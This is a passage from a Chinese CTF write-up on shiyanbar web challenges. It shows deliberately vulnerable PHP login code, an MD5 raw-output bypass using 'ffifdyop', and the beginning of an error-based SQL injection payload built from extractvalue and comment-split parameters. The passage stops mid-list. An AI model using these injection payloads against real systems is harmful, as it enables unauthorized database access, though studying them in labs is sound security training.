实验吧WP(web部分)【简单的登录题,后台登录,加了料的报错注入,认真一点,你真的会PHP吗?】

本文介绍了PHP安全相关的问题,包括简单的登录题、后台登录的MD5密码绕过、加了料的报错注入解密数据库信息,以及深入理解PHP的逻辑验证。在登录题中,通过CBC攻击和MD5逆向思考来构造解决方案。在报错注入部分,利用HTTP分割注入、extractvalue函数等构造SQL语句,逐步获取数据库信息。最后讨论了PHP的intval和is_numeric函数在安全场景下的应用,展示了溢出和非数值欺骗的技巧。
摘要由CSDN通过智能技术生成

一. 简单的登录题

这道题一点也不简单,用到cbc字节翻转攻击等技术,先跳过这题,想了解可看这里

二. 后台登录

http://ctf5.shiyanbar.com/web/houtai/ffifdyop.php

这道题给了一个登录框,第一反应是sql注入,提交了一个1上去后发现url没显示,或许是POST?算了,看看源码。

<!-- $password=$_POST['password'];
	$sql = "SELECT * FROM admin WHERE username = 'admin' and password = '".md5($password,true)."'";
	$result=mysqli_query($link,$sql);
		if(mysqli_num_rows($result)>0){
			echo 'flag is :'.$flag;
		}
		else{
			echo '密码错误!';
		} -->

发现源码给的提示,这个的意思还是要对比数据库中的admin和password,但发现他的password用MD5加密了(这是为了防止你输入'"or 这些符号绕过验证password)

那么我们就想能不能弄一个MD5前的字符串,MD5加密后传上服务器被服务器解密之后,有'" or 这些符号。

这时候看了别人的WP,发现url里的ffifdyop.php的ffifdyop是我们所要的字符串,这个字符串MD5incode后是:

276f722736c95d99e921722cf9ed621c
然后以上字符串再decode后是:
'or'6<trash>

加到原来的语句中就是:

SELECT * FROM admin WHERE username = 'admin' and password = ''or'6<trash>'

成功绕过的验证password 。所以提交ffifdyop得到flag。


三.加了料的报错注入

首先打开页面,提示你要登录,要POST参数username和password上去,所以我们用hackbar来POAT数据试试。


显示Login failed,看源码,发现一点提示

<!-- $sql="select * from users where username='$username' and password='$password'";  -->
但没什么用,猜都猜得出来,那么就按正常步骤提交单引号看看能不能注入。

试了之后在username和password提交单引号都报错,说明都注入了,接下来就是构造sql注入语句了。

第一条  username=1' or extractvalue/*&password=1*/(1,concat(0x7e,(select database()),0x7e))or'

这里需要用的知识

1.http分割注入(用注释符/**/把中间的语句注释掉)

<
  • 1
    点赞
  • 8
    收藏
    觉得还不错? 一键收藏
  • 1
    评论
评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值